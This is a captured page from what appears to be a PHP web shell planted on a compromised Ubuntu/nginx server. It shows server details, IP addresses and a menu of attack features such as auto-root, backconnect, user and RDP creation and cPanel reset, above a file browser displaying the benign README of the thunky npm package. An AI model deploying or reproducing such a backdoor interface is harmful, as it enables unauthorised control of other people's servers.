Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
thunky /
[ HOME SHELL ]
Name
Size
Permission
Action
.travis.yml
69
B
-rw-r--r--
LICENSE
1.05
KB
-rw-r--r--
README.md
2.14
KB
-rw-r--r--
index.js
1.03
KB
-rw-r--r--
package.json
1.48
KB
-rw-r--r--
test.js
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# thunky Delay the evaluation of a paramless async function and cache the result (see [thunk](http://en.wikipedia.org/wiki/Thunk_%28functional_programming%29)). ``` npm install thunky ``` [](http://travis-ci.org/mafintosh/thunky) ## Example Let's make a simple function that returns a random number 1 second after it is called for the first time ``` js var thunky = require('thunky') var test = thunky(function (callback) { // the inner function should only accept a callback console.log('waiting 1s and returning random number') setTimeout(function () { callback(Math.random()) }, 1000) }) test(function (num) { // inner function is called the first time we call test console.log(num) // prints random number }) test(function (num) { // subsequent calls waits for the first call to finish and return the same value console.log(num) // prints the same random number as above }) ``` ## Lazy evaluation Thunky makes it easy to implement a lazy evaluation pattern. ``` js var getDb = thunky(function (callback) { db.open(myConnectionString, callback) }) var queryDb = function (query, callback) { getDb(function (err, db) { if (err) return callback(err) db.query(query, callback) }) } queryDb('some query', function (err, result) { ... } ) queryDb('some other query', function (err, result) { ... } ) ``` The first time `getDb` is called it will try do open a connection to the database. Any subsequent calls will just wait for the first call to complete and then call your callback. A nice property of this pattern is that it *easily* allows us to pass any error caused by `getDb` to the `queryDb` callback. ## Error → No caching If the thunk callback is called with an `Error` object as the first argument it will not cache the result ``` js var fails = thunky(function (callback) { console.log('returning an error') callback(new Error('bad stuff')) }) fails(function (err) { // inner function is called console.log(err) }); fails(function (err) { // inner function is called again as it returned an error before console.log(err) }) ``` ## License MIT
Close